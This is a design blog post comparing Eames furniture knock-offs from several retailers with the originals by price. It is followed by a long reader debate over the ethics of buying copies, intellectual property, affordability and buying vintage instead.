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Eames Knock Offs, Fakes & Copies
Lately, I've been seeing more not-so-bad knock offs of some classic designs. This is not to say that I prefer these to the real thing or that I that I think they're the same quality (they are usually NOT), but from the perspective of someone who often has a tight budget, I DO think that there's a place for the well done copy, especially when it's a classic design and the price points are so radically different...
That said, I have to point out that you are definitely dealing with a semi-skeezy crowd when you are dealing with knock offs, and it really helps to know the difference, and you should also beware of anyone who claims it's the real thing. I found this forum really helpful at DesignAddict, and this quote as well:
"The differences are easy to spot. The knock offs all have screws and bolts showing on the outside...I've looked at a lot of other knock offs of various iconic pieces and I've found that the differences are mostly very obvious once you know what to look for. A leg will have a different taper, hardware will show, proportions will be different, upholstery details will differ..." ~ Spanky
>> Welcome to the knock off debate with 76 comments from our readers. And here's a great post from Joel & Maria Pirela: Target vs. Designers.
After sending out the above in an email last week, one reader wrote in and said:
"Your misunderstanding of basic authenticity and integrity bothers me very much. I don't have time for people that rationalize and encourage this kind of behavior."
I realize that writing about this subject may seem confusing and I'm a little sensitive to the criticism, but I think that it's reasonable to be a lover of design and a proponent of quality and still find a place in the world for a much lower priced copy of something you love.
The truth is that buying original, protein furniture is EXPENSIVE and, particularly now, not everyone is fabulously wealthy and can afford everything they want or need. In these cases, I think that it is acceptable to buy a copy of something you love because it's the most you can afford and because it's the BEST you can afford.
And, hey, some of these copies are pretty well made and people have put work into them, so I don't want to look down my nose at them. I am not into getting all snooty about design and authenticity, but I do believe in honesty in sales.
What I think is REALLY bad is lying and passing off a fake as the real thing. That is a crime.
>> Darius Leather Visitor Chair from Target - I first saw this at Alex's in Los Angeles last month and couldn't believe how good it looked. A lighter version of the Eames Soft Pad Management Chair the price difference is roughly $370 compared to $2,200.
>> Eames Style Management Chair from InMod - This is from the online seller, Inmod, which specializes in "highly accurate reproductions." Inmod has a ton more, but I pulled this one as representative. If will run you $525 as opposed to $1,200 for the Eames Aluminum Group Management Chair.
>> Ripple Leather Office Chair from Crate & Barrel - Is this a knock off, or just "inspired by" Eames? Crate's very watered down version of the Aluminum Management Chair costs only $260.
>> Eiffel Bucket Chair from White on White - This online shop is another source of a trove of knock offs that run a fraction of the price, hence their disclaimer: "WHITE FURNITURE'S PRODUCTS ARE NOT MANUFACTURED BY, SPONSORED BY, AFFILIATED WITH, OR ASSOCIATED WITH HERMAN MILLER, CHARLES OR RAY EAMES, KNOLL, FRITZ HANSEN OR OTHER COMPANIES." This Eiffel chair is very similar to the Eames molded plastic side chair, but runs $170 as opposed to $250.
>> The Ames Collection from Sphere Designs - This retailer is based in San Francisco and they have a really corny copycat name for their Eames lookalikes. The Lounge and Ottoman (bottom) goes for $900 as opposed to $3,700 for the real thing.
>> Retro Rocker Arm from Alphaville - These guys seem to be the manufacturers of a lot of these knock offs as they have tons and supply to other shops. The rocker above is pretty identical to the Eames Rocker, but instead of $480 it sells for $345
74 Comments
im sure you will hear from eames demetrios, if not already. he wrote an editorial to dwell once about mentioning knock offs as a solution... im ambivalent myself, as knock offs can be just as important as the real thing, ie keener/jackobsen 7 chair. it has everything to do with what people can afford. i remember reading something about the ray eames white fiberglass chaise and how it was created for an easily reproducible/inexpensive furniture competition. vitra makes it for 9000 dollars. a knockoff is 900. which one seems more like the original ethos of the piece?
Thanks, Maxwell, for this post. I appreciate you taking into account the fact that "not everyone is fabulously wealthy and can afford everything they want or need," and that knock-offs have their place.
But, alas, what about those of us for whom $300 for a single chair is still *far* out of reach? We're in a recession, and I can't be the only AT reader who is living paycheck to paycheck and struggling to make ends meet in a tough economy. (I love AT's many DIY posts and the Craig's List scavenger feature for this reason.)
For those AT readers who, like me, have to decorate on a dime, the notion that $300 - $400 is the "low end" or "cheap" price point is prohibitive. Are there any knock-offs that look interesting that come in at half or a third of that price range? Sure, I understand they won't be as pristine or as long-lasting as the real deal, but for me, $2,200 has to cover two months' worth of mortgage, utilities and phone bills -- not just one chair. Yet I've become addicted to AT and would love to beautify my home... if there were truly inexpensive ways to do so.
The "Ames" collection - I love that! Why not call it the "Eems" or "Emes" collection?
Personally, I prefer to purchase authentically licensed mid-century furniture. Most pieces I have collected - new and used - are such.
However, I do have a very well-made George Nelson-inspired daybed manufactured by Modernica (original manufacturer: Herman Miller).
I believe Modernica used to also manufacture the Eames storage units for DWR on behalf of Herman Miller until there was some kind of falling out between the 2 or 3 companies involved.
But, to each his own. I found the fake reproduction versus authentic reproduction on Designaddict to be very tiresome. It just went round and round and round.
All i can say is, You buy what you can afford
Ditto, jplee.
9000 vs 900 is a whole different story..
But 480 vs 345...? I'd save the extra 150 and buy the real thing. IMHO...
I think a Saarinen Womb Chair is a really excellent candidate for knocking off. The argument for buying an expensive Knoll original often includes, "The real thing will last forever and you can hand it down to your grandchildren." Not a bad argument for something like, say, an LCW. With the womb chair, though, the foam deteriorates and needs to be replaced. (I recall a furniture restorer featured on AT who said that vintage womb chairs basically all need their foam replaced.) Because it's such a tough job to upholster, the cost of the job is multiple thousands of dollars, i.e., almost the value of the whole chair. It's really very hard to justify spending $4000 on something that's guaranteed to be worn out and require a massive reinvestment by the time it's passed on.
I sat on a PGMod womb chair at a friend's and it looked great and was sturdy and comfortable.
I read an interesting article (about fashion design, but I think it's applicable here) about how knock-offs drive the design cycle. Real Fashionistas want it because it's new and because not everyone else has it. The knock-offs make it so that, yes, everyone else DOES have it, so the Fashionistas go out and buy the new fashions and the cycle repeats itself. As for the rest of us who thing it's ridiculous to pay 10 times more for a name (and don't kid yourself, they aren't THAT much higher quality), we get to buy at a more reasonable price something that is almost indistinguishable from the original.
Naturally, the process is a LOT slower for furniture but it's the same basic thing. I'm lucky, though. I prefer antiques (100 years old) which can be had for a song these days.
As a designer I've never understood why people feel they should be able to afford anything they want. I can't afford a real Van Gogh painting. Okay I could buy the poster but that's a different medium. Should someone create duplicates and sell them just so you could hang one in your house--would you even want what is obviously a copy in your house? Wouldn't it be better to use that same money and support a living working artist? Why is it that the minute we talk about products or furniture it's okay to support copying?
If you can't afford, so be it. I can't afford to buy a Mercedes Benz or a $18 M apt, but I'm not losing any sleep over it. Buy something else, make your own, get it used. Creativity often comes having to solve difficult problems.
If you insist on buying knock-offs, don't expect me to accept it. I've had my products knocked-off and it's not a homage. This is my lively hood you're taking from me. I understand if you bought something without full knowledge. Just can't support the idea of people knowingly buying a knock-off and being proud of it. Sorry, this has obviously hit a nerve with me.
I agree with jplee. I love good design, but frankly can't even afford the knockoffs. Anything over $200 is expensive. I've managed to make a nice apt on a budget of 50 bucks a month, plus a few big purchases here and there. It really can be done.
im sorry cheryl, but a Womb Chair is not a perfect candidate for knocking off.
Knoll does not and has never said " it will last you forever"
the same goes for the barcelona collection.
Knocking off iconic pieces is doing a grave injustice to the integrity of the design and the designer.
Even taking inflation into account, most of the classic mid-century pieces are now being sold for many many times their original value when first manufactured. They're popular, and license holders like Herman Miller are more than willing to put a hefty tax on style.
That said, it's getting really tedious seeing Eames chairs EVERYWHERE. I'm ready for this trend to die down.
Ditto, jplee and inkstainedwriter.
On another note, has anyone heard of or checked out Advanced Interior Designs? They "supply high quality original designs and reproductions of modern classic furniture" and have a showroom in San Francisco. I wonder if any AT:SF readers have seen their products and if they're of good quality?
Yes, the caning on Breuer Cesca chairs will sag and break though in 15-20 years. Yes, the leather on the Eames Lounge Chair will start to crack and require replacement in 30-40 years. Yes, the foam on Saarinen Womb Chairs will crumble to powder in the same timeframe..
...but look at the old knockoffs and see where they are in comparison:
1960's Eames Lounge knockoffs by Selig are out there, but the mechanism's are impossible to repair and the cushions can't be replaced except with custom work - but replacement parts, pads and clips are still available for the Herman Miller chairs of the same vintage. Knoll Cesca chairs can be easily recaned, but the cheap 70's/80's vintage chairs from Italy require the entire seat frames to be replaced, if you can find them. Saarinen chairs are easily reupholstered with new foam by an experienced craftsman (I recently had a pair of 70's vintage Saarinen Executive Armchairs redone w/ new foam for @ $400 labor each some remnant Unika Vaev yardage: You can't touch a new one in a basic fabric for less than $900 each)
Then again, Thomas Chippendale hasn't been making furniture for a couple-hundred years - but everyone from Ethan Allen and Thomasville to Baker and Stickley are making making "Chippendale" knockoffs, some better than others...
I agree with jplee but have a slightly different question: where are the up and coming designs the rest of us can afford? Something in an Eames frame of mind, but not a knockoff. For the most part, I can't even afford the knockoffs. But I'd love to see similar original styles at prices people on a budget can afford. Which, for me, has basically meant hanging out at Target or the Ikea 2 hours from me (small towns aren't great for midcentury modern). eBay or Craigslist is pretty hit or miss.
Where are those pieces available?
inkstainedwriter -- I'm glad to know that you've been able to get the aesthetic you want on a budget of $50 per month. That sounds like around what I have to spend, and I'm moving soon and need to start from near-scratch, with a teeny-tiny budget. I love AT for the inspiration pics/ideas, but I get so frustrated that so many of the options are so far out of reach for me. Good to know you've made it work.
bellaknollie -- you wrote, "Knoll does not and has never said " it will last you forever" but you probably never went to the DWR shop in Brooklyn Heights. I popped in to lust after Tom Dixon's wire coat rack (no chance of buying it, unless it goes on sale to, say, 75% off...). The saleswoman talked me into sitting in the womb chair. It was beautiful and extremely comfortable, but when she told me the price I nearly fell out of the womb. I said I could never justify that kind of expense, and she did indeed tell me that it is an investment piece that I'd have for years and years, that it is such high quality that I could resell it ten years later for as much as I paid for it, etc. -- I can't remember if she literally used the word "forever," but she did imply it.
I'm with you, ChristopherB. Eames chairs are akin to that ubiquitous Keep Calm And Carry On print - every time I see either item pop up on a design site, I heave a sigh.
ChristopherB is spot on about current prices vs. what they were in the actual mid-century, even adjusted for inflation. My mother and my aunt bought my grandparents a Harry Bertoia Bird chair (with ottoman) in 1968 for $90. If you use the government's own inflation calculator, $90 in 1968 would mean roughly $550 in today's dollars. Certainly not the $3,000 price tag it fetches in stores like Hive.
@inkedstainedwriter: just curious, your name implies you might make your living as a writer? I'm not singling you out....just want to know how do you feel about your original written words being reprinted without your being paid for it? That's essentially what knocking off does to the original designer.
There is no reason why original design has to be expensive. But first, the furniture companies have to hire and pay designers to design original goods. Most of them would rather print out photos from AT (or other sources) and send them directly to their factories to copy...which is why you'll often see the same design with slight variations over and over again from several makers. It's what happens in the fashion industry as well. All the designers go to Europe to shop for trends and come back home to copy the exact style, the exact color palette, etc.
Until we value and demand originality / design over price point, we will not have original design at lower price points. Make your voices heard with your pocketbook and decide wisely where you choose to spend your money, no matter what budget you are at.
I've posted more thoughts on this at the "knockoff debate" AT link.
azure: "I can't afford a real Van Gogh painting. Okay I could buy the poster but that's a different medium. Should someone create duplicates and sell them just so you could hang one in your house--would you even want what is obviously a copy in your house?"
kind of ruined your own argument a little.
like a lot of people have said, people buy according to their own monetary limits. you can't afford the van gogh so you get the poster...different mediums. can't afford the eames lounge chair, so you get a copy- also made with different materials (not as drastic as oil paint on canvas vs a poster, but doesn't really matter). until you choose to spend the money to get the real thing, you can enjoy something that you love and are inspired by. the great thing about our world is we have options and the ability to choose.
i do agree in some instances that copying goods is wrong, but i don't want good design to be exclusively enjoyed by wealthy people. that's the opposite of what the Eames' wanted. People think the copies hurt the Eames name or something, but there is more love for them now than any other time, I'm sure. They're just as important now.
actually fishgirl said what i was think pretty well too...
until we keep our wallets in our pockets and speak out about certain things our way too overpriced, then nothing will change.
lab director- it's not the same. A poster of a painting is a printed image of a painting--not a painting. A knock-off of a chair is still a chair.
azure: true...hmm, but i can buy a copy of the statue of david, that's still a statue...
but really, i'm completely for supporting artists and buying original whenever i can do it. also goes for furniture.
just that some things are overpriced and it's not fair! :)
although i'm also against people thinking they should have whatever they want, when they want it....
so to sum up, it's a tight rope i'm walking.
This is the first time I've felt compelled to comment on AT, since I just lucked into a dirt cheap Plycraft Eames-knockoff on the weekend. It's the first piece of decent furniture I've been able to acquire since most of my income has been geared towards other priorities.
I'm going to buy a) what I like, and b) what I can afford. So long as the piece isn't being misrepresented, I am quite happy to purchase from a manufacturer (or thrift shop) making decent design accessible to those who aren't wealthy. Like jplee and inkstainedwriter, I don't feel obliged to wait until I'm able to fork over a few months' rent for one chair.
@azure: No, the knock-offs aren't really hitting your livelihood (unless they are pretending to be offering authentic goods by you). As others have pointed out, there are different markets for furnishings.
Just because I'm willing to shell out $200-300 (say) for a knock-off of one of your designs, doesn't mean I'd shell out $700-1000 (say) for the original. I'm not in that upper market at all. Knock-off or no knock-off, I wouldn't buy an original from you. That is, I'm not a potential customer of yours who was lured away by a knock-off.
Oh and just to clarify: that comment was meant to illustrate an economics principle, not at all a knock on you or your business, azure.
I feel like saying you should never buy a knock off is a little unrealistic. What kind of house do you live in? Where did the concept for that particular design come from? What kind of car do you drive? What clothes do you wear, what do you eat, etc.? I mean, theoretically everything in your life could be a "knock off" of some previously existing item. It just seems extremist to expect that nothing you own will ever imitate.
I agree with tabithacat. It's hard to find anything that's truly original, unless you make it yourself. And even then, just look at the way trends develop in fashion, art, design, music, haircuts...many things fall into "genres" because they are influenced by the times, popular culture, and so on.
I think @azure has it spot on.
Buying knock-offs is intellectual theft and the justifications presented for it here are intellectual dishonesty. It is no different to illegally downloading music, movies or software.
If you can't afford a classic piece of design, buy a modern one. There are great pieces from up and coming designers all over the place.
And if you can't afford them, or used originals, I'm afraid my reaction would be that is tough luck. Life isn't fair. Why do you all feel you are entitled have anything you want just because you want it?
I also can't afford much of what I would like.
Like @azure I also can't afford an original Van Gogh. But I would never dream of buying one of the Van Gogh oil reproductions you can get on eBay for $100. It would scream pretentious shallowness if you hung such a thing on your wall.
And that's what buying knock-offs does.
It provides compelling evidence of your faux taste and I cringe every time I see one here on AT.
I am in complete agreement with azure. Also, what people fail to realize is that the REASON they want the knockoff in the first place is that it possesses a resemblance to the original. Part of the cost of making the original is hiring a designer to design the product. Creativity cost money. It is not free. When you steal someone's intellectual property you take away the incentive to create something beautiful.
I don't quite understand how the business of knock-off artists like "Advanced Interior Design" mentioned above can be described as anything other but theft. At which point does something like the Azumi's LEM bar stool become a "modern classic", which apparently means it's ok to churn out crappy copies in some chinese sweatshop?
I'm not sure where this disregard for intellectual property comes from. "I can't afford it" somehow doesn't really cut it. If my co-worker has a brilliant idea and I don't, that doesn't make it ok to steal his work and sell it as my own.
Btw, the White-on-White "Eiffel bucket chair" looks pathetic.
MrCranky, I don't believe it's intellectually dishonest -- nor pretentious -- to recognize that beauty and comfort shouldn't be the sole domain of the wealthy. Illegally plagiarizing writing or illegally downloading music is not the same thing as purchasing a similar (though not the same) piece of furniture at a lower price-point than a higher-end piece. If someone passes off Shakespeare as their own creation, that's a problem (just as it's dead wrong for anyone to lie and claim that a knock-off is manufactured by Knoll or Eames, etc.). But Shakespeare has influenced countless writers, just as high-end designers have spawned numerous clones. The imitations don't degrade the value of the original, they just make the concepts more accessible to a broader audience.
And *that* seems to me to be the real problem some folks have with reproductions -- that it enables non-wealthy people to experience beautiful items, and expands style and design beyond the province of the rich. No one is saying that lower-income folks are "entitled [to] have anything you want just because you want it." What we're saying is that we shouldn't be relegated to tedious, cookie-cutter, mass-market particleboard from Ikea and Target as our only options for furniture.
By the way, here's a design analogy that no one has made so far in this discussion: every year before the Oscars, haute couture designers clamor for the opportunity to dress starlets in their lavish, extravagant gowns. And every night after the Oscars, mass-market manufacturers set to work churning out knock-offs. The next day and throughout the week, every morning news show and Access Hollywood-type tabloid infotainment program runs segments on where the "Average Woman" can get herself a prom dress or bridesmaid's dress for $150 to $300 that closely resembles the $30,000 gowns Halle Berry or Kate Winslet wore on the red carpet. Does the fact that Macy's sells knock-offs of John Galliano and Vera Wang hurt those designers? Not in the least. As slowdown commented, people who'd buy a Macy's reproduction would never be able to afford to blow thirty grand on a dress. They'd never even consider buying something like that. But in the meantime, Galliano, Wang and all the other designers whose creations are copied end up getting free publicity on all those news programs -- the copies are compared to the originals, and the originals are always considered prettier, higher quality, more desirable. Those designers are still considered the gold standard, further solidifying their reputations as remaining current and in-demand.
The same thing holds true for interior design reproductions. If someone can afford an original piece of quality furniture, they'll purchase that piece... for quality, for taste, and in many cases, simply to lord it over those of us who can't. But either way, the reproduced brand gets to remain current and desired, in large part because of reproductions broadening their appeal to a wider audience.
Well said, jplee.
Besides, ALL design and art exist in a continuum. Plenty of designers of now iconic furniture were influenced by those who came before. This is no knock on their originality but an acknowledgment that no one designs in a vacuum. Knock offs, so long as they are not blatent misrepresentations, simply take their place in the spectrum of design from any given era. Good design should stand on it's own merits, and subpar copies will announce themselves soon enough. But some of them are good or good enough, and, dare I say it, may represent some improvement over the original.
At some point an iconic design becomes a kind of norm that the next generation of designers can build off. If that next generation learns its craft making less-than-perfect copies of existing, so be it. Some of them may yet emerge as the next Eames. And in the meantime, the masses get their modern chairs at a pricepoint that's almost affordable.
I'm always skeptical when anyone too energetically defends intellectual property. Sure, protect your trademarks, servicemarks, copyrights and whatnot, but if they're not using your name or engaging in outright plagiarism, what's the issue? Are you afraid the work of the copycats will surpass your own? Worried you'll never have another good idea?
You seem to feel that stealing people's intellectual property is a way to open up a new front in the class wars. I'm not sure how sending money to shady factories in China helps in the fight against the Man, but I guess it helps justify the larceny.
I am not saying that you should be reduced to 'tedious cookie-cutter particleboard from Ikea or Target'. Although, when you buy knock-offs, isn't that exactly what you are getting? What could be more cookie-cutter than the thousands of fake Ames, Eems and Ooms chairs out there?
The problem is that you seem to want (the same) specific pieces you can't afford, when there so many other wonderful and cheap pieces out there.
The whole point of an Eames or Bertoia or Antonio Citterio piece is that it is a combination of the designers eye and precision manufacturing fulfilling a vision. I just don't see how a knock-off can provide the same satisfaction, even aside from the theft. So knock-offs (to me) don't give poor folk the chance to experience beautiful things just like Massa on the hill. They give poor folk the opportunity to buy masses of dreck.
And your argument that it doesn't affect the designers and manufacturers is patent nonsense. Most people on this site want their homes to have some degree of individuality. Do you think folk will continue to view the originals as desirable when every other home has pieces that look the same? There is already a backlash on AT from people who are sick of the ubiquity of MCM. I've never been the biggest MCM fan myself, but I certainly wouldn't go near the genre now.
I'll happily admit to being elitist, but since when is there anything wrong with that?
I have the money to buy the real Eames lounge chairs but today, I scored 3 of them for exactly $400 in total, taxes all in. Two in walnut, one in ash.
At $450 originally, they're obviously not "real."
But I saved $1125.50 so I could give two poops if someone comes to my place and points out how fake they are.
They're incredibly well-made, sturdy and the grain is beautiful.
For someone who is new to home decor and interior design, I purchased them because they're gorgeous, not because they're Eames or I wanted to have some kind of Eames-inspired pieces.
Essentially, money, quality and aesthetics do trump loyal to a brand.
With the money I save, I can afford to have people over to enjoy some nice bottles of wine on these chairs.
Give up to get, people.
Azure- the Eames' are dead and I think they would be appalled at what has become of their estate and designs. All it's been left to is money and class when we all know Modernism is not for or about that, something many I think have forgot. Modernism as a movement was meant to improve and change the way we live our lives in both the world and the home.
MrCranky, I find it odd that you'd reduce my argument to supposedly stoking "class wars."
"A new front in the class wars," you say? Really? Seems like the only people who ever use the term "class wars" are those who don't like the idea of non-wealthy people having... much of anything. Or, more to the point, those who would, as you say, "happily admit to being elitist, but since when is there anything wrong with that?"
The superiority and exclusionary nature of that sort of thinking is precisely what is wrong with that.
And for now, I'm done being baited. G'night, everyone.
It's my understanding that the patent on many of these pieces by Knoll and Herman Miller have long expired.
I believe it was the use by companies, such as Alphaville and Steelform, of designers' names in their marketing of these "knock-offs" that was resolved by the courts a few years ago.
Is this not the same situation as when drug patents expire and generics flood the market? I don't think I can take a hard position in favor of authentic mid-century pieces, because, quite honestly, I almost always buy the CVS brand over Tylenol, among other generic drugs.
Picasso borrowed from Fang masks for Les Demoiselles d'Avignon. The Hans Wegner T-Bone chair is a knock-off of the Chinese Ming chair. Should we forego buying originals of Wegner's chair because he ripped off the shape of that chair? Or perhaps buying knock-offs of the Wegner chair made in China is actually some kind of karmic circle?
I wasn't baiting you. I was using your own words. Here they are again:
"And *that* seems to me to be the real problem some folks have with reproductions -- that it enables non-wealthy people to experience beautiful items, and expands style and design beyond the province of the rich."
Surely you detect a hint of classism there?
And if people have a problem with elitism, why are they so all-fired keen to buy knock-offs of work by elitist designers? Designers like the Eames did not craft their furniture for the masses. They were made in limited runs through very labour-intensive methods. Eames himself created ads for Herman Miller warning people to avoid knock-offs.
He also said "The details are not the details. They make the design." And it is the details the knock-offs get wrong.
Modernism was a reaction to traditionalism and, like most such movements, was inherently elitist. Not that there is anything wrong with that.
As for the Tylenol argument, for me the difference is that we are talking about furniture as art here. Most people (die-hard Warholians aside) don't consume paracetamol for its aesthetic qualities.
You all know my position on knock-offs.
So why don't you buy vintage?
I bought my vintage Bertoias for $99 each (The black plastic coated ones) and $149 for the 1970's chrome ones. (in almost new condition). That was 2 years ago. Right now, you can find it cheaper. Eames fiberglass side chairs are dime a dozen these days on evil-bay. There's no excuse to buy a knock-off.
If you like the BMW 3 series but can't afford one, buy a Mazda 3... not a chinese copy of the BMW version. LOL!
dwr is a DEALER, therefore they are not the voice of Knoll.
If they say things will "last forever" then they need to check themselves.
buy vintage before you buy a knockoff.
i have an eames aluminum group desk chair. it's authentic herman miller and i bought it used for 450 dollars. sure, that may be a lot of money for a desk chair for some of you to spend. however, i have sat in it comfortable for a few years now. i love the way that it looks and i love it's quality and comfort.
in terms of price, it's in the ballpark of some of the knock offs that are being advertised here. the main difference being, if i wanted i could likely sell my eames chair for what i paid for it. whereas the knock off would have lost most of it's value the second i took it out of the box.
plus, and maybe this is just me... i don't like not having the genuine article. i like what i like and i want the real thing.
Wait a minute...
I found a gem once. Accurato.com.
I purchased the eames RAR. That is, the eames rocking chair, in a pristine white.... why would i mention this or even the company.... well...
They are the only place that still makes eames shell chairs out of fiberglass. I am an industrial designer, so weighed all of the pros and cons before buying and they follow like so.
PRO to buying a New eames rocker from Accurato -
1. I wanted the richness of the quality of fiberglass.
2. I couldnt find a decent quality used one for the right price
3. I used a coupon found on some other site
4. I got a white shell, with walnut legs and eiffel base, and lifetime warranty and shipping included from CA to Pennsylvania for $350
The DWR versions or other new versions may have a stamp on the bottom stating they are from herman miller who whomever, but god damn the new material feels cheap and flimsy. While more eco, it's not a big concern for me as this chair is like art and will probably be in my life until I die, and then handed off to someone. The quality of the origional technique of the fiberglass is top notch, and I believe its done in the same space the origional eames chairs were manufactured.
It's got the exact look and feel and make of the old eames pieces, except I didnt have to restore or keep hunting or just go with a color that I stumbled upon, but instead got exactly what I wanted for the cheapest price I could find. I think DWR versions are what, oveer $450?
Okay, thats all. I will buy more from them in the future. But wait - so is mine technically a knock off? Because it doesnt have the herman miller stamp? Or is mine of more value because its in mint condition and holds true to the old school technique of casting with fiberglass?
Once upon a time, a chair was something that you put your butt on when you wanted to rest...
modernica makes the shell chairs in fiberglass on the exact equipment that herman miller used to make them on. they are the same price as the newer flimsy eames chairs, but likely more authentic than the newer herman miller ones.
slowdown- I probably won't be able to sway your opinion but just to explain that my products sell at Target so it's a bit hard to say that people can't afford the real thing. Competing companies have taken my products, slapped their name on and called it a day. I know I had to work long and hard to be able to afford to live in NYC on a designer's salary. It's hard to hear that whatever you bring to the table as a designer has no value in the market place. And if you do stand up for your rights, you get accused of not having enough ideas. Ouch! What other professions have to deal with this? Why is copying a song any different from copying a chair?
Anyway, it's true that we all get inspired by things and that ultimately we're surrounded by objects that have their roots elsewhere. Who knows I'm sure I've unknowingly bought them try as hard as I might. What I find hard to swallow is wanting to promote businesses that don't want to create original design. There are so many great products out there, why limit yourself?
i think whytephoenix perfectly ended this discussion. hilarious!
True, true:)
The fact that the original designer isn't technically losing those customers that can't afford to spend the big bucks on originals is irrelevant. Companies that sell knockoffs make tons of money off of someone else's hard work: it's parasitic.
@cindycandy: "Companies that sell knockoffs make tons of money off of someone else's hard work: it's parasitic."
But here we go in a circle again. What's the line between being inspired or influenced by strong, interesting or iconic design and being "parasitic" on someone else's creative vision and hard work? I still don't think anyone has given a good answer to that question.
Besides obvious cases of theft (taking an idea or design wholesale and passing it off as your own), how do we determine who owns what idea? Dior is credited with the 'New Look' silhouette, but a cinched waist and voluminous skirt is not really a new idea in the history of fashion. It was 'new' only with reference to the decades immediately preceding it.
Anyway, my argument was not about whether it's morally defensible to steal or riff on someone else's ideas or not (it's a complicated issue, for the reasons I mention above). That's another issue. My comment was more about stating the obvious: People will buy what they can afford. Those who are concerned with the pedigree of their furnishings will buy authentic, pay more for it, and enjoy the finer workmanship, bragging rights, etc.; those who are not will buy a knock-off and enjoy none of those things.
This site makes it easy to see where the line is:
It doesn't get much more obvious than that.
Knock-offs are lame. 90% of the time you can get vintage licensed originals for less than a knock-off. Try eBay or Craigslist or whatever MCM store is near you.
I have eight Eames fiberglass shell chairs (real Herman Miller ones) that I got for around $100 bucks each. They're way cooler than the new plastic Herman Miller ones and certainly better than any knock-off. Ditto goes for my Bertoia chairs--I got four, with the original Knoll seat pads for $600. I did buy new Eames Herman Miller LCWs from Highbrow and after a few months one of the backs came loose. Highbrow replaced the entire chair in just a few days and paid for the return postage of the broken chair. I doubt you can get that kind of service from any company that makes or sells knock-offs.
The good thing about buying vintage is that your house or apartment doesn't end up looking like page 24 in the DWR catalog. Many amazing designs are no longer manufactured--Charles Pollock sling chairs, Eames La Fonda chairs, Clement Meadmore, Paul McCobb...
Buy vintage and hold out for licensed originals.
Markjudep I am right there with you... I am completely against knock offs... you can easily find vintage Eames furniture on craigslist for less than half the price in great condition... In the past 2 months we just bought a vintage purple vinyl shell chair from 1973 for $170 and a purple management chair from 1980 for $275, the only part of this chair that wasn't perfect was the arm rests which can be buffed and refinished. If price is an issue, there are plenty of other options besides knock offs. Especially when you factor in the quality and how it was made.
OK I sort of fell out of the arguments around the middle here, but I want to say just a few things, hoping it won't be redundant.
I find some commentors are confusing things here, and I think there is a difference between :
-Fraudulous vendors selling fakes as authentic,
-fakes sold as fakes but done in China in humanly/environmentally and legally dubious manners,
-good copies sold as such at reasonable prices (and often made by the very same italian craftsmen who work for Cassini or Knoll for exemple),
-good copies sold pointlessly almost at the same price as the original,
-bad copies that are worth what they are sold (or even less, ie the awful Eames rocking chair above),
-prohibitivley expensive originals
-also the difference between works that are recent creations (living designers) or models from the 1900s to 1950s in public domain *claimed* to be copyrighted by manufacturers. example : le Corbusier, Charlotte Perriand and Janneret created their originals ca. 1928 for exhibits, and they were only manufactured around 1965 by Cassina, the same goes for Rietveld's chair, or even William Morris wallpaper).
Another detail, speaking of copies vs original artwork, like it has been said, they were intended for mass-production, and I beleive you can't really compare with artwork like a Picasso or a Van Gogh, which is an original and unique creation : design by definition is mass-produced. (although, Rubens copied da Vinci, Delacroix copied works by Rubens, etc etc, so even in that domain you can't really have a definite argument).
I just think this whole debate has to be a bit sorted out.
I have the intention of buying a le Corbusier LC2 sofa, an imitation manufactrued in Italy.
I informed myself about the maker on the net and from friends in the field of furniture retail.
The craftsmen are the same ones who work for Cassini.
Le Corbusier is dead so he won't suffer from the purchase. Who is actually being prejudiced in the story? His heirs? Are they the ones who spent their life designing? Anyhow the furniture is now in the public domain.
Maybe I'm causing harm to Cassina, should I fell sad? They already have their clients and I would never have the means to buy a sofa from them.
However if I find a used sofa, same model, edited by Cassina of course I would privelege it above the copy, even if it was just a bit more exmpensive.
Wasn't the aim of the Eames' "to get the most of the best to the most for the least?" To some, it is about value and not about cost, but in what world does a $3700 lounge chair become available to the most?
I couldn't afford the Eames Soft Pad Management Chair so I bought a copy off of Ebay. It lasted a little over 90 days before the tilt spring gave way and the spindle came through the chair pad. I am lucky I was not seriously hurt. It didn't look good up close as the metal was not polished the stitching was not aligned but I had no idea the basic mechanism was dangerous. It did look ok from across a room. I think at the time the Eames was $1100 and I ended up paying $570 with shipping for the copy. I saved nothing. I had to wheel the copy to the dumpster and the ebay seller would never answer my request for refund or replacement. I think you are better off carefully searching craigslist for a vintage piece and of course inspect it carefully to make sure its not just a beat up knock off. Another good strategy is to save up in a small bank account throwing those b-day presents and little windfalls at the end of the month into an account just for your designer prize. It would have been better to save for a year and still be sitting in an Eames that probably would last decades rather than being thankful I was not impaled. :)
@MrCranky: "I also can't afford an original Van Gogh. But I would never dream of buying one of the Van Gogh oil reproductions you can get on eBay for $100. It would scream pretentious shallowness if you hung such a thing on your wall.
And that's what buying knock-offs does.
It provides compelling evidence of your faux taste and I cringe every time I see one here on AT."
Are you decorating for you, or are you decorating for other people? The way I see it, it is "pretentious shallowness" to worry more about what other people will think of your taste than to simply design your home in a way that, above all, pleases you. I'd rather live in a home that makes me happy every time I walk in than one that garners lots of compliments but makes me uncomfortable or cost way more than I could afford. If that means buying knockoffs because I like the way they look, then so be it.
Huh. There are plenty of Eames et. al. knock-offs from the '50s and '60s, y'know. I never hear outrage about those. Old = cool, I suppose. Talk about faux taste... and faux ethics.
I tend to buy vintage when I can, however that said, it is NOT always advantagious to do so as some of the older pieces may end up quite brittle due to sheer age - especially true of those items made out of plastics that are say 35-40 or more old as plastics of that period don't have the qualities of the plastics available to us today and may not be as durable when exposed to the sun - also, fiberglass will crack over time if not taken are of, I know as I had 2 original Eames fiberglass side chairs that were cracked, bad enough to replace w/ vintage pieces the same color. I did that in the early 90's when I found 2 matching ones for $35 apiece, true they were missing their feet but were original, possibly a tad newer versions however.
I think I read that the original Panton molded plastic chairs from the 60's tend to crack over time so in that case, buy new if you can afford the originals - even IF they are even still manufactured by their original manufacturer to begin with. Sometimes the original manufacturer will cease production but another factory continues on, sometimes w/ the original molds etc of the originals and thus are reproductions of the originals and that's all fine by me.
I WILL agree is making an obvious knockoff and trying to pass it off as original.
Er, I sould finish my thought process here, I meand that I will agree that making an obvious knockoff and trying to pass it off ans an original is not OK.
just another quick point to this argument from another designer...
part of being a good designer is having the ability to solve problems. one problem i see is that good design isn't always affordable. most people end up buying ugly junk that ends up in landfills after a few years. make something people will appreciate and love for a lifetime and make it affordable. then, maybe the world could be a more beautiful place both visually and environmentally speaking.
I am shocked at nearly every post here, especially the pretentious, self-righteous people preaching the judgement of God about copying a chair with an expired patent. This is not, like it or not, a moral issue.
